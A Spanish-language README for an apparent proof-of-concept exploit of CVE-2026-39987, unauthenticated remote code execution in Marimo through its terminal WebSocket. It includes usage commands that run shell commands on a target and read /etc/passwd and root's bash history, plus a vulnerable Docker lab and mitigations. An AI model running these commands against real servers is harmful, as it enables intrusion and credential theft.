
CVE-2026-39987
Ejecución Remota de Código no autenticada en Marimo a través del Terminal WebSocket
CVE-2026-39987 es una vulnerabilidad crítica de Ejecución Remota de Código sin autenticación previa que afecta a versiones de Marimo anteriores a la 0.23.0. El endpoint WebSocket /terminal/ws omite completamente la autenticación, permitiendo que cualquier atacante no autenticado obtenga un shell PTY interactivo completo con los privilegios del proceso de Marimo (típicamente root en entornos Docker).
marimo < 0.23.0marimo >= 0.23.0/terminal/wshttp:// a ws:// y de https:// a wss://CVE-2026-39987/
├── CVE-2026-39987-poc.py ← Main Exploit
├── docker-vulnerable/
│ ├── Dockerfile
│ └── docker-compose.yml
├── notebooks/ ← Persistent notebooks (optional)
├── README.md
└── LICENSE
pip install websocket-client
# Basic usage
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"
# System enumeration
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"
# Read sensitive files
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
cd docker-vulnerable
docker compose up --build -d
Luego, prueba:
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
marimo >= 0.23.0/terminal/ws mediante reglas de firewall o proxyEsta Prueba de Concepto está destinada únicamente a fines educativos y pruebas de seguridad autorizadas. El autor no se hace responsable por cualquier uso indebido o daño causado por esta herramienta. Asegúrese de tener permiso explícito antes de probar cualquier sistema.
Úsela de manera ética y responsable.
Hecho para investigación en seguridad y divulgación responsable.